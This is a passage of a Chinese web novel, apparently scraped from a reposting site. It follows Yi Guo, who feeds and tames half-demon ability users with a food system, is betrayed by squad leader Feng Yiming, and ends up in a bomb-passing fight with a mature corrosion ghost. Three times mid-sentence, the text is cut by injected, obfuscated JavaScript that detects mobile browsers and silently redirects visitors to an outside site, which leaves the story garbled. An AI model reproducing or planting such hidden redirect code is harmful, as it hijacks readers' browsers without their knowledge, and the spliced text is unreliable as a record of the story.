通过“小饭桌”捕获、挽救的妖化异能者越多,系统分得的能量越强,易果自己越能快速觉醒真正异能。 易果身前挎包即是小饭桌系统的便携版化身,此时“花骨朵小饭桌”几字灯牌般咔咔乱闪,大敞的拉链深处,一口炫光无底大锅热气翻涌,包里来自各色食物的蓬勃香气正不断溢出,与易果身上的血味儿完美汇合到一起,织成一张气味大网,随易果手中小风扇的卖力吹动,越铺越远。 在虞渊禁区困了多时的半妖异能者们哪里见过自己送上门的,如此规模的私厨盛宴,只知道掀蹄子玩儿命冲: “嘶嗷嗷嗷~”(翻译:快看有“小饭桌”,小朋友都能吃,大坏蛋吃更香!快抢啊兄弟姊妹们,如此新鲜的弱者气息,大吃四方,大吃四方!) “啊——” 就见诱捕圈里,易果回应般也张大了嘴巴。垂下胳膊柔顺晃荡,一板一眼,如同海底一条初学捕食的盲鳗。 食欲感知。系统附加技能一,通过易果张开的嘴巴,捕捉猎物们散发出来的食欲强度。 领头人马很快警觉,吸溜掉嘴边的哈喇子,放慢脚步。歪脖子瞅瞅前头四仰八叉瘫在地上的同伴,又瞅瞅眼睛锃亮到透出几分诡异的易果,猛地蹬蹄子后撤: “嘶%??#哇哇哇!”(翻译:TM谁吃谁啊,有没有点眼力劲儿。闭上闭上,老子都看见你嗓子眼儿啦!) 见人马群试图往回逃,易果连忙把手伸进包里,慌张掏出把大勺奋力往前撒。半妖异能者们顿时像陷入泥沼里,本就残缺的神智与旺盛本能混战,每一步都挪的很艰难。 “怪不得脑壳昏昏不对劲,有毒,那女人有毒。” “家人们,咬紧牙关,什么诱惑都不能摧毁我方钢铁般的意志。” “快跑,他们要抓壮丁,社畜才是真正的畜!” 见走不了,他们又纷纷转向易果,呲出满嘴锋利的牙齿,嘶吼着,要跟易果拼命。 远处凤一鸣在墙头上忿忿地鼓掌,“活该,诱出再多也没用,这么贪,先死的就是你自己。” 躲闪的不过慢了一瞬,易果转眼被一个头锤搡倒,她闷哼一声,赶快抽回差点被啃断的手指。赶在脑袋也被咬住前,她再次从“小饭桌”里舀出一大勺,撒进面前一张张大开的嘴里。 从年幼到年长,乱中有序,一个不漏。 “准一点,对对别洒,给的再准一点。”系统絮絮叨叨提醒易果,听起来肉疼的要命。 虽然手腕哆嗦,但易果眼神非常专注,她冷静观察每个人马的反应,结合刚才捕捉的食欲信息、她出神入化的食材搭配技巧,以及周遭生长环境特点,终于从“小饭桌”里舀出了今日为水马群量身烹制的,最具杀伤力菜色—— 什锦毛血旺。 蔬菜与水果,混杂着从易果衣服上掉落的血块,在油亮辣汤里狂野浮沉。 这火红的一勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凤一鸣不再看那一大片被易果成功放倒的水马异能者们,攥紧拳头,转身问张铁柱:“她在公益岗的具体工作内容是什么。” “负责特遣队新收编异能者监管期的转运、清洁、饲养、心理疏导等一条龙服务工作。”机器狗蹦跳抢答。 “她一个人轮这么多活儿?!”凤一鸣被公益岗的压榨强度震惊。 “但她很热爱自己的工作,上个月还在科研网站上发表了一篇文章,《通过科学喂养提高捕猎行动成功率的可行性分析》,我刚才读了,很特别的观察视角。” 察觉到机器狗言辞间的欣赏,凤一鸣目光一沉,蹲下低声问机器狗:“她弄晕的那一堆里,能用的有几个。” 机器狗头朝湖边方向来回踱步,罕见的吞吞吐吐,“特遣三队临时编外人员易果,战绩……战绩仍在测算中。” “还在测算?!” 凤一鸣猛地站起来,回头只一眼就立刻明白了原因。他们三队先前合力捕获的猎物们,那些五花大绑后整整齐齐码在一起的战利品,不知道什么时候竟然自动拆了捆,总数少了一个,剩下的正淌着口水撅着屁股,手拉手努力朝易果所在方向咕涌。 抢劫。 明抢。 三队几人互相看了一眼,沉默地拖回他们没能叛逃成功的战利品,双倍捆缚绑到原处。然后带着从未有过的团结,掏出了对付妖化异能者那会儿都没使上的家伙。他们默契地对准易果,异口同声: “她死了。” “这,这不好吧。”系统一早看见三队那边的猎物朝易果蠢动,慌张提醒易果,“还没出禁区,而且他们人多,别给惹急了。” 易果装没听见,拖着有恃无恐的尾音,鼻子里小小地“哼”出一声,继续埋头在昏睡的人马堆里扒拉。 她掀开这个胳膊,又抹干净那个的脸,越扒拉脸色越凝重,额角开始冒汗。 “你先冷静听我说,我刚才想起来有件事好像……咳咳没跟你说清楚,就是咱呢,跟其他那些虚头巴脑的统不一样,咱是成长型系统,是高级货,所以根据你现在的情况,我也处在一个初级阶段……” 系统说话间,易果跟前这些人马身上的透明嫩芽依次凋落,但没能像凤一鸣使用育灵咒后那样,让他们成功变回人形。 易果一眨不眨地看着,眼神迷茫到有些可怜。系统赶快安慰道: “只是现在不行,下次,下次就能不一样。再说咱们能把这么大一群控制住,已经破纪录了,没白干,就是完全实现任务目标,还需要别人协助一下,比如……求求那个会蛐蛐神树咒言的。” 闻言易果僵硬地把叛变过来的那位人马大哥往远处推了两把,小心翼翼缩起脑袋: “现在送,送回去,来得及吗?” 系统没出声,但易果懂了。她没放弃,白着脸又问:“那那咱们,再,试一次呢?” “一滴都没有了。” 系统气若游丝。它晃动小饭桌挎包给易果看,刚还鼓囊囊的大包,这会儿瘪到只剩一个拳头大小。 易果倒抽一口凉气,像要找到真正的救命稻草那样,再次扎进人马堆里来回翻找。但来不及了,三队全员已经气势汹汹杀到跟前。 随行机器狗打头冲向易果,中途却突然冷漠后退: “编外人员易果,战绩测算结果,1……0?” 凤一鸣愣了一下,解气地拍腿大笑,“抢人头都抢到我们眼皮子底下了,还以为有多大能耐,装神弄鬼大半天,原来全是瞎忙活。” “我三队队长把话放在这儿,今天最终猎物数量不论是几,都没你的份。而且我还要投诉你,举报你蓄意破坏我们行动,不仅要你丢工作,还要拘留你,让你背上前科,这辈子彻底完蛋!” 指天指地,凤一鸣尖酸刻薄了半晌,但易果头都没抬。 易果抓紧时间把脚边的人马堆翻了个遍,还是没看见她要找的。她神情恍惚,反复嘟囔着:“我‘宝物’呢,那么大一个,我,我那么大一个……” 遭到无视,凤一鸣脸色黑到了底,刚才逃跑的举动似乎仍在刺痛她自己的自尊心,她死死盯着易果,咬牙切齿: “你看不起我。” “我,我……” “就凭你也敢看不起我!” 易果像个卡了电线杆的蒸汽小火车一样,刚磕巴着“呜”出两声,转瞬被突然发狠的凤一鸣一嗓子拍出了诱捕圈。 她甚至没听清凤一鸣吼的啥,只感到一股劲力击中她,撞的她摔出禁锢幕墙,挣断捆缚在身上的咒言锁链,连退几步,一屁股坐进水里才停下。 虞渊的水真冷。 易果按住肋巴骨,疼的小口小口喘气。干在她衣服上的血在湖水里晕开,一团又一团,粉色棉花糖一样轻盈又诡异。 片刻间浓雾骤起。 岸上凤一鸣还在骂骂咧咧,但易果脑袋里全是轰鸣。她心疼地揉自己耳朵,突然从身后听见呼吸声。 “哗——”易果猛地从水里挣扎起来。湖面平静的如一把平摊的剑刃,她什么都没看见,还以为刚才是自己的错觉。 谁都没发觉,雾气掩映的另一边,黑色纪念碑上不知什么时候直挺挺立了个人,双手垂在身侧,指尖滴水。 凤一鸣蹚水追过来,继续推搡易果。两人扭打中,张铁柱忽然从浓雾里穿出,惊慌失措跑到岸边,“怎么回事,不好,快离开那个湖!” 岸上,三队码放整齐的猎物们凭空消失,淌满了血的拖拽痕迹蜿蜿蜒蜒一路延伸到湖边,戛然而止。 3. 史上最强诱饵 机器狗头顶红色警示灯突然爆闪,尖利的警报声乍起: “三队‘收割人头’数量清零,请注意,三队‘收割人头’数量清零。” 顿时湖边变得极静,几双眼睛齐齐看向那条蜿蜒入水的狰狞血迹,那像一条悄无声息出现的致命伤口,下一刻就要剌在他们的脖子上。 周身雾气森森,光影,气息,此刻四周的一切都让易果觉得似曾相识。 “是救援到了?” 她脑海中忽然又一次响起那声哀叹般的呢喃。上次易果被困在诱捕圈里,被发狂的异能者撕咬分食的时候,一个人影从湖边,从纪念碑的方向飞向她,“是救援到了?”他问易果,但易果无法回答。 记忆鲜明的如同刚刚发生,直到今天,易果仍无法消解听到那句问话时心里的滋味。 原来可怜的人不只她一个。 这是被炸碎前易果最后一个念头。 想到这儿易果猛地顿住,屏住呼吸再次看向岸边的黑色石碑。可这时凤一鸣又扑向她: “肯定又是你!装神弄鬼还没完了!还回来,把我的猎物都还回来!” “不,不是。”易果磕巴两声立刻放弃了解释。 不是自己,那么是谁? 水深已经没过腰,易果没时间多想,费劲地抬起腿朝岸边蹚。但凤一鸣死死拽住她胳膊不放,眼皮子底下猎物数量清零的冲击让凤一鸣看不见其他,头发丝都发着狠,她边说边把易果往深水处坠: “想跑?不给我捞出来我就让你直接投胎做鱼!” “松,松……”手脚并用的挣扎中,易果突然又一次从身后听见呼吸声。 穿透所有嘈杂的,清晰到令人汗毛直立的呼吸声。 慌张甩开凤一鸣,易果迅速转身。凤一鸣吓了一跳,“干,干嘛,告诉你装神弄鬼这套我不吃……”正斥责易果,岸上小司机忽然“吱嗷”一声吓瘫在地,双眼圆睁浑身颤颤,惊恐看向两人身后。 不足三米远处,水里漂起半个漆黑的脑袋,有嘴无眼,水母般循着水中扩散的血迹,飘忽,享受,瞬间朝她们弹过来。 成熟体蚀鬼。 “啊!” “啊!” 脑海中系统的狂啸,和耳边凤一鸣的尖叫声撞到一起,撞的易果耳膜几乎炸裂。 易果被疾速逼近的恐惧攫住,逃跑中的双腿僵硬又迟缓。但奇异的是,此刻她头脑十分清晰。 不管出现什么,这次都不能轻易死在这里。 咬牙暴起一股劲,易果拖起死鱼般僵直的凤一鸣,拨开湖水,三两步爬回岸上。 成熟体蚀鬼,蚀鬼中最凶险的等级,已经有近三年的时间没有出现过,一度传言它们已被猎人特遣队清剿干净。然而眼前这个突然从虞渊现身的蚀鬼,拟态人形、黑色指爪、浑身金属质感的皮肤与外露骨骼,从头到脚的危险特征,都与成熟体蚀鬼相吻合。 这也许才是凤一鸣接到的上级警告中,那个真正的“异常”。 面前这个蚀鬼没长出眼睛,不知道是个体偏好,还是天生的畸形。 但在浓雾中,没有视觉反而令其行动更加迅捷。三队的战利品丝毫没能填补它旺盛的食欲,它转眼间再次进入捕食状态,以一个极扭曲的姿势缓缓伸长脖子,螺旋桨般晃动起脑袋四处捕捉气味,当即锁定浑身血腥气最重的易果,猛蹿过来。 在过于强大的敌手面前,猎人们转瞬调转为猎物。 三队根本没时间应对,绊手绊脚跟易果扎堆在一起,组团绕着湖边狂奔逃命。 “干干干,你%??#@变态啊你!” 系统一边惨叫一边骂街,还以为易果翻找了半晌的“宝物”就是屁股后面这个让人san值狂掉的玩意儿。 易果喘着粗气扔掉外套,只得把上回在诱捕圈里见到的人影飞快给系统又描述了一遍。系统大惊: “你是说前局长没死,他一直在禁区绕着自己的坟头转圈圈,没被发现?!” 琢磨了片刻,系统忽然“哦”出一长串: “我明白了,别的猎人绞尽脑汁抓那些半人半妖的马啊牛啊,你的麻袋口瞄准的是前局长!” 它贼贼地笑起来,生怕被谁偷听似的压低声音,“厉害啊小结巴,你野心勃勃呢,想当人家救命恩人,从此靠上最高的山,直接原地起飞?” 易果耳根猛一热,坚毅地梗起脖子,顽强否定,“也,也没。” 谁知系统转眼翻脸,对易果开启了更猛烈的毒舌攻击:“没就对了!” “不然你说,都这么热闹了,你的伟大猎物怎么还没露面。我看你当时纯粹是肾上腺素爆表,知觉混乱,产生了逼真幻觉,其实根本没瞧见什么前局长。” “就算真有什么人影,就那爆炸前的短暂几秒,你怎么就确定对方一定是前局长,能认准?那得是什么级别的脸,惊鸿一瞥,让你一眼就确信。” 易果抿紧嘴唇,心态坚*挺,系统的咆哮她一个耳朵进一个耳朵出。 身前挎包随她奔跑上下起伏,上面的人形挂件叮咣乱颠。她摸着那一张张抽象的小脸,瞧不出到底在陶醉什么。憋了一会儿到底没憋住,神秘兮兮,硬跟系统显摆: “你才不,不懂。” “泥%??#我??%#!!”系统卒。 奔逃中,一行人再次靠近湖边的诱捕圈。突然想起什么,易果猛地抬头看过去,果然,被她喂饱的人马异能者们仍然肚皮朝天地打着小呼噜,丝毫没有察觉危险正在逼近。 如果自己刚才念出的是真的育灵咒,他们一定早就恢复神智,安稳躲起来。 易果心头骤然揪紧,有些喘不过气。像察觉到她的想法,系统气焰全消,轻声道:“你也别自责,只能说嗯……时机,时机不对。” 身后追赶的蚀鬼磨牙似的“咯咯”笑个不停,易果没做声,咬咬牙,迅速下了决定。 被她喂了就是一家人,她要捍卫那一个个浑圆可爱的肚皮,还有那代表自然界最纯正克莱因蓝的完美毛色。 于是易果抬起胳膊,朝三队的指指诱捕圈周围昏厥的人马,示意他们去保护,而她自己,易果英勇地拍拍自己胸口: “我来,引,引开…” 转头间,易果对上凤一鸣似笑非笑一张方脸。那双细长眼微睁,阴冷不见底。 “巧了,我们想到一块儿去了。” 凤一鸣话没落音,今日第二桶血朝着易果迎面浇下。三队一起动手,猛地使劲一推,把易果推向身后追赶来的蚀鬼。 “到死你还得是个诱饵。”凤一鸣头也不回,带三队转身跑走,顺利脱身。 那瞬间,易果觉得后脖根的汗毛被挥来的尖利指爪刮到,或许再多那么一小步,她整个脖子都得被割断。 易果脑袋“嗡”地一下,抹了把脸,想也没想,一头扎进湖边的泥滩里滚动式逃命。期望烂泥能盖住她身上的血味儿。 “太感人了。” 系统怜惜地瞅着泥鳅似的易果,先穷尽毕生所学脏词,把三队从上到下骂了个遍,尤其是出一趟任务带那么多坑爹血包的离谱队伍精神。转而又幽幽一叹: “我被你不放弃任何一丝逃生机会的顽强,深深感动。然而敌我双方实力悬殊,挣扎无用。这玩意儿老子喂不了,死也喂不了。” 它语调顿挫华丽,毫无眼力劲儿,开始跟易果正式告别: “啊~纵有不舍,还是到了离别的这一刻。虽然与你此生相处的时间,也就没几天,括号,大头还是赖你自己作死,别想讹我,括号完了。但是看在相识一场的份上,我还是要免费送你一句七字真言。” “人菜瘾大,要不得。” “菜,谁?”易果从泥里拱出头,露出鼻孔,抽空问了一嘴。 “谁?总不能是我。” “行吧。” “行就行,加什么吧。真是你个小结巴,敢阴阳我菜。”系统差点又要暴走,但它忍住了,“算辽算辽,拜拜啦,拜拜,不甘也没辙,万般皆宿命……” 易果闻言一把攥紧轮廓开始飘散的小饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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易果双手捧着她的救命丸,连滚带爬地躲避蚀鬼的漆黑爪尖,后背的衣服已经被划出好几个口子。浓雾中周身光影错乱,抬眼看去似乎人影幢幢,又似乎什么都没有。让易果无法分辨,哪里是系统派来的忠诚帮手。 “就现在!” 系统冷不丁大喝一声,易果听令四面八方胡乱挥出一把。奇异的是,雾气竟然应声散去。 几步开外的前方,不知道什么时候站了一个男人。而易果脚下,草窝里,正有一群蹦豆大小说不上来什么品种的微缩异能者,嗲嗲地嚷着“妈妈”“妈妈”,热切地朝她滚过来。 “嘶——”系统没料到能小成这样,一时也觉得有些丢脸,“你先冷静听我说,就是那个……” “我真厉害。” 因为太过惊喜,易果罕见的没有磕巴。来者没有耳朵尾巴,正常,甚至可以说身形比例几乎完美。易果没想到自己一次就能成功。 也顾不上什么蚀鬼了,易果跨过脚下的“蹦豆精”们,大力朝那男人挥手。 对方一身黑色冲锋衣,看起来跟三队的司机穿着很像,就是身型大了一圈挺拔了两倍。易果以为是贴心系统为了保护自己,早就把此人安排到了自己身边,为了不被察觉,还先做了伪装。 “他,他是什么属性,异能。”易果眼睛直勾勾,亮的吓人。 “em……咱舅儿说有没有种可能,你先低个头呢。” 易果完全没听见,拖着满身泥,兴冲冲朝人家颠过去。对方看起来空有体格,像好久没走过路了,行动迟缓。但这在易果眼中十分合理,适应期嘛,她很体谅,甚至觉得对方有种说不上来的亲切感。 最重要的是,这是易果第一个成功救助的对象,他的存在,对易果有着开天辟地般的重大意义。 易果丝毫不嫌弃对方的笨拙,满眼怜爱地朝人家伸出手: “听我口令——” “坐下。” “握手。” 对方一动不动,模样阴郁。系统莫名打了个颤,慌慌张张正要喊易果闭嘴,这时暗搓搓绕到易果身后的蚀鬼骤然发起偷袭。 这回易果一点儿没在怕的,抓起他的“忠诚帮手”,狂的要命,豪迈地抡起胳膊指向蚀鬼: “咬他!咱,咱一口一个小脑袋,一口一个!” 4. 击鼓传崩崩 交接完毕,易果潇洒转身。 湿漉漉的风自湖面荡起,吹拂着浑身被黑泥糊住的易果。但她浑然不在意,脚步一蹦一颠,轻盈,雀跃,活活一个成精的新鲜香菇。 “忠诚帮手,我的~我哒~” 她不再是独自奋战。 易果尽情享受着这前所未有的轻松时刻。她朝诱捕圈跑去,还是不放心那群昏睡的水马异能者。 刚还咋呼的系统这会儿安静的有些反常,他吭吭哧哧欲言又止的,“你先忙着哈,就是呢,我有个事想确认下。” 易果歪起脑袋仔细听。 “就你之前没那回,是被你亲亲队友们炸了几次后炸死的?” 易果眨眨眼,莫名骄傲地扬起下巴,“一,一次,一次我就嘎了。” “那我们这个爆炸倒计时……” “嗯。” “咋还没停呐?!” “!!!” 因为易果重走禁区,因此系统自主设置了爆炸倒计时与她的生命时限挂钩。 在刚才踏入诱捕圈时,易果的确听见了系统的计时警告。但是大批异能者失控的局面并没有重演,关键她人都已经从诱捕圈里出来了,炸弹瞄不着她,再说到现在也没在这儿瞧见什么像炸弹的东……西? 易果正快步往前走,忽然前方一点红光扫过,钉在她眉心。易果抬眼,跟昂首立在墙头上的机器狗对个正着。 一只瞄准镜从机器狗的眼眶中升起,对准了易果。 原来炸弹在那儿。 易果一眼瞧见狗肚子里的东西,灼烫的死亡记忆瞬间被唤醒,顿时寒意从脚底席卷她全身。系统大叫易果“快躲开!”可一时间,易果胳膊腿软的像面条。 “竟然又让你囫囵脱身了,算我们小看了你,到底怎么做到的?” 凤一鸣揣着手和三队几人从墙后面绕出来,因为刚才嚎的太多,一张嘴出声,那嗓子像偷摸啃了三十年的红薯干,哑的冒烟儿。他们表面看起来已从刚才蚀鬼那番绝命追击中恢复,要不是满头满脸的泥点子,说他们刚到禁区易果都信。 瞄见一旁的水马异能者们,易果皱起眉。它们身上只堆了些草根树皮,稀稀拉拉,十分潦草的伪装。刚还抢的要死要活,这回战利品都送上门了,三队的态度竟又如此敷衍,易果很不解。 出乎易果的意料,节骨眼上凤一鸣竟摆出一副虚心求教的样子,“你怎么做到的,嗯?”她弯起眉眼,又问了易果一遍。 “切,没憋好屁!”系统撸起袖子暴躁开麦,“我算看透了,这位精英女士一开始拿腔拿调,就是没憋好屁!” 易果攥紧双手护在身前,被连坑两次,她已经对这女人的阴狠有了深刻体会。而且奇怪的是,凤一鸣身旁的队友们,明明从头到尾正眼都没扫过易果几下,这会儿都笑眯呲儿的低头瞅着她。连带着张哥,也从络腮胡里亮着白牙对易果笑。 不对劲。 绝对不对劲。 心里很清楚,但易果不敢动。脑门正中的红点如有实质,压的易果抬不起头。炸弹已经瞄上她,她怕自己哪怕动静大一点点,就真的又要大祸临头。 易果悄悄摸了摸身前干瘪的小挎包,干涩的舌头动了动,嘴巴哆嗦着张开,转瞬又闭上。她呼吸钝痛,不甘中还带着几分迷茫。 想怎么对付自己,都是他们说的算,他们不像自己,他们各有异能,人数和战力都占绝对优势…… 嗯?不对。 猛地抬起脸,易果瞬间容光焕发,嘴角缓缓翘起。 “……我竟然一路都没察觉,你到底是什么时候藏的帮手。”凤一鸣正得意洋洋往湖边看,冷不丁被一双锃亮的眼睛晃了神。 易果竟无视瞄准镜的追击,转瞬杀到了跟前。风驰电掣间,沿路薅了满满两大把草,拿出了喂人马那会儿的气势,连泥坷垃带石头蛋的,直往三队嘴上招呼: “让你,让你们往我战利马上扔草,让,让你扔!” “哎哎哎?你是野人吗我的亲。”系统愁的没眼看,“回揍他们是勇气可嘉,但优雅呢,我方的优雅你莫要抛弃呐。” 这头凤一鸣一个不防被易果精准投了满嘴泥,一边“呕呕”抠嗓子眼一边恶狠狠地指她,“你……” “你,完,啦。” 易果嚣张劫走凤一鸣的台词,坏心眼的学凤一鸣也叉起腰拿指头隔空戳人,边指还边“啧啧”摇头,卖力欠揍。 一脸正色口中念念有词,“杀招三,万物皆可,精准投喂。” 看火候差不多了,在三队全员的愤怒注视中,易果神情自若,高调地抬起手。像给谁发信号,摇花手似的眼花缭乱的比划了好一番后,从后往前,挥了那么两下: “出击——” 她一出声,顿时一群炫彩蹦豆从她脚边草窝里跃起,奋力炸起一圈圈坚硬短毛,朝三队扑去: “杀——” “杀呀——” 可惜不过眨眼功夫,就被原地没动的作战靴们又纷纷弹开。斗志爆表,攻击力零分。一场激烈厮杀结束,连同易果在内,在场无一人察觉。 “……”系统不语,系统捂紧小嘴巴不敢语一点儿。 “?”发觉身后没动静,易果疑惑地回头。她对自己这位帮手的能力没有丝毫怀疑,依据有三: 其一,小饭桌说了,这是赠给她的专属大礼,她独一无二的,“忠诚”帮手。 其二,对方吃下的“聪明丸”,可是有着仙丹神药般惊艳的色泽与质感。 其三,易果在公益岗上阅“战利品”无数,那么一副完美体格,就根本不可能没道理反正不能够菜。 易果甚至相信,她离开的这一小段时间,足够帮手把那残疾蚀鬼制服了。 可紧接着易果就倒抽一口凉气,目瞪口呆看见她帮手正原地杵着被蚀鬼单方面撕咬,已经成了个她的同款“血人”。蚀鬼咬他,他不回击就算了,他还一动不动,一副不知道发生了什么的样子。 易果看的跟着浑身肉痛,这边什么都顾不得了,咬牙就要往湖边冲,“跑呀,你你……”可转眼就被张哥的牛蛙胳膊按在地上。 “闭嘴,别坏了我们正事。”张哥用力卡住易果的脖子。 凤一鸣踱到易果跟前,装模作样的对她拍了拍巴掌,“咳咳咳,学的还挺快,竟也找了个诱饵代替自己拖住那鬼玩意儿,值得表扬。那位看起来比你合格多了,我们这下是要真的谢谢你了。” 易果心惊,她这才明白,凤一鸣跟她废话来废话去的绕了这么一大会儿,是在观察时机在拖延时间,是要把她绊在这里。 像终于找到机会一招翻盘的赌徒,三队凶相毕露。 “丢几个猎物算什么,干掉一个成熟期蚀鬼,才是别的队都比不了的真正大功劳。” 凤一鸣说着转头给了机器狗一个眼神。顿时那猩红色的瞄准点掠过易果,转向湖边,定在正被蚀鬼啃肩膀头子的“新诱饵”身上。 “别!我的,那是我的!” 好不容易收编的第一个异能者,还没摸热乎呢,眼看就要没了。易果整个人猛地弹起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579815|171594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拼命挣扎,但身上的钳制越缚越紧。 “冷静冷静,你先别急着动。”系统絮絮叨叨劝她,“爆炸倒计时只剩6分钟了,你现在过去就是上赶着一块儿被炸飞。” 说话间易果听见凤一鸣下令“引爆”。完了,她条件反射地闭上了眼。 然而爆炸声并没有随之响起,易果困惑地又张开眼睛,看见凤一鸣快步折回机器狗跟前,面色铁黑,对着错频乱闪的狗脑袋“咣咣”给了两拳。 炸弹竟然被卡住了。 机器狗脑袋缓缓转动,看起来比易果更困惑,“%??指令语@音%??#识别失,失败,失败。” “胡说八道!”凤一鸣又锤了机器狗一拳,压下咳嗽高声辩解: “我是最高等级的咒言师,我我普通话考试一甲!” 系统嘿嘿直乐,“哎呦活该,她这把回去要是嗓子真废了,那可亏大了,你说是不是。” 易果没做声,昂着脑袋思索片刻,忽然就冷静了。她的声音微微颤抖,让人听不出是在兴奋还是恐惧,她问系统: “你说,倒计时还剩,几分钟?” “不到6分钟,怎么你年纪轻轻耳朵别不是真有……” 系统话没说完,易果的腰忽然使劲一拱,趁张铁柱分心扭头看,迅速从他胳膊肘下脱身。 在系统一连串咆哮中,易果哼哧哼哧冲向凤一鸣,趁对方慌慌张张要把炸弹换成手动投掷的间隙,一个大力飞铲过去,把炸弹稳稳抢到手里。 “咦干干干!我是不是刚说了离爆炸不到6分钟了,不到6分钟啦,你要死呀你!” 就是因为不到6分钟了。易果狡黠地眨眨眼,“所以现在,现在不炸。” 现在安全。 系统的咆哮戛然而止,吧唧着嘴琢磨片刻,“嗯?的确有道理唉,不对,那也不行,你是在玩儿火。” “信我,有,有数。” 易果一点都不觉得一个抱着炸弹狂颠的家伙,能面不改色说出这句话得有多吓人。 路过诱捕圈时,她顺手捞起被她砸烂的那半拉收音机,等三队愤怒暴起的时候,她已经跑到湖边,奋力一挥,把收音机扔到蚀鬼脚前。 “爸爸的爸爸叫什么……” 收音机仍在扯着嗓子高歌。高度重复的歌词如卡农的旋律般循环往复,有着迷惑人原始心智的,令人难以自拔的邪门力量。 果然如易果预计的那样,无视觉的蚀鬼,除了嗅觉外听觉也很敏感。当即上了钩,被儿歌声吸引,附身往脚下摸索。 易果看准机会,一个猛子过去,把炸弹塞进蚀鬼怀里,拽起自家忠诚帮手,转身就逃。 “精彩。” “天才。” 易果一边奔跑一边大口呼吸,见缝插针夸奖自己。 她的体力早就濒临极限,但精神亢奋的要命,对自己的策略十分满意。等倒计时走完,炸弹爆炸,炸死的只有一个蚀鬼,多完美。 追来的三队跟易果迎面遇上,易果得意地抬眸,冷笑,摆手,等着他们恍然大悟,被她的机智折服,心甘情愿跪到她脚下。 谁知凤一鸣几人忽然一个急刹,“吱嗷”乱叫地抱头又往回跑。 易果吓了一跳,以为拽错人拽成蚀鬼了,赶快低头看自己拉住的手。 修长有力,就是有些苍白。正常的人手。 她刚松口气,余光往后一瞄,心瞬间又凉了半截。 不远处蚀鬼正隆起全身狰狞肌肉,以一个掷铁饼者的标准姿势,把炸弹朝他们投过来。 5. 小心眼 易果气都来不及喘,按住帮手矮身躲开。 炸弹惊险掠过他们头顶,拉出长长一道弧线,长了眼睛似的准确扎进凤一鸣后脖领。顿时凤一鸣失去平衡被带倒,手忙脚乱往后掏。 一旁张哥眼疾手快把炸弹薅出来,凤一鸣半路截走,“咳咳给我!”报复似的回身又掷向易果。 “nonono——”系统嚎出华丽高音。 刹那间易果浑身汗毛都炸起来,拉紧她忠诚帮手的胳膊,使劲把人甩出半圈,人肉拍子似的,再次成功把炸弹打向蚀鬼。 但这次蚀鬼的反应更快,片刻没停,长长的脖子轻松一晃就又把炸弹击回岸上。 随即三队——易果——蚀鬼,三队——易果——蚀鬼,一场沉默又万分投入的夺命版“击鼓传花”就此展开。 两个来回过去,那头的凤一鸣先挺不住崩溃了: “老天鹅呀,这,都,不,炸,吗?!” 炸弹就这么眨眼功夫再次回到易果手上,易果满手心热汗差点让炸弹脱手,一边抓紧擦手,一边问系统: “还,还有几分钟。” “不到三分钟了亲。” 系统带着神经错乱般的爽朗,“啊哈哈刚才的三分钟,是多么,多么充实的三分钟呐。在无人禁区与狂暴蚀鬼欢乐玩耍‘嘣嚓嚓’,要不是你,我区区一统哪有命见到如此胜景。” “还要再玩三分钟吗。”系统柔声问。 “……没,玩儿。”易果指头抠着炸弹屁股,莫名心虚。 “那太好了,因为看起来,它也是这么想的!” 系统一嗓子把易果吓的猛一个激灵,她立马看向湖边,发现蚀鬼不知什么时候竟消失了。 她循着“咔嚓咔嚓”的刺耳声音再一找,看见那鬼东西竟然躲到了前局长的纪念碑后面,正壁虎似的抱着石碑埋头疯咬。 “哎你,住,住口。”易果觉得蚀鬼咬的不是地方,但不敢贸然上前。 不远处三队也觉得奇怪,“它什么意思,磨牙?”“嘘!” 磨牙? 易果竖起耳朵琢磨,从常识上讲,牙齿是蚀鬼身上最坚硬的武器,从没听说过它们打到半路还得掏出个磨刀石去磨牙的。 她转头瞧“帮手”刚被蚀鬼啃咬的肩膀。 难不成……皮硬到把人家牙硌伤了? 但很快易果又觉得自己异想天开,别说科研报告里没有,连都市传说里都没出现过能有这能耐的东西。 想到这儿,她摇头笑了一下。 她发誓,只是非常非常轻的一声。但蚀鬼忽然就抬脸“看”向她。 像捕捉到易果那声轻笑,蚀鬼的嘴角长长长长地耷拉下去,满脸幽怨,浑身漆黑筋肉如活物般暗暗涌动。 “它不撕吧你就算了,好端端的,你笑话它干嘛?”系统无语干嚎,“有没有点社会经验,本事大的玩意儿,可都是小心眼儿!” “不,我我,笑自己。” 易果指指自己,慌忙朝蚀鬼解释,但显然已经迟了。蚀鬼噙着满嘴碎石渣,两腮鼓起,黑油油的嘴唇子一撅,突然摇晃起脑袋,机关枪似的“噗噗噗”向外凶猛扫射。 高速喷射出的石头渣,锋利带刃。 早有防备的易果,拉住帮手趴到地上,躲开蚀鬼的突袭。但后面三队迟了一步,像有几人被碎石划伤。 伤口破开皮肉的瞬间,气味阻隔剂失效,新鲜的血腥气顿时引得蚀鬼挺身发出一长串急迫嘶吼。强烈进食欲让蚀鬼转瞬发生形变,四肢如水草般飞速延长,循着气味,猛然缠住凤一鸣的脚腕,把她往跟前拖。 “艹!” 张铁柱咒骂一声举枪反击。这只蚀鬼似乎对枪弹气味异常敏锐,在子弹射出瞬间就判断出了方向,但它没有躲闪,绷起浑身坚硬外皮迎面抗击,并毫发无伤。 惊恐中凤一鸣高喊两声,到底没能成功使出咒言。一旦被蚀鬼咬伤,就有可能被侵蚀同化。 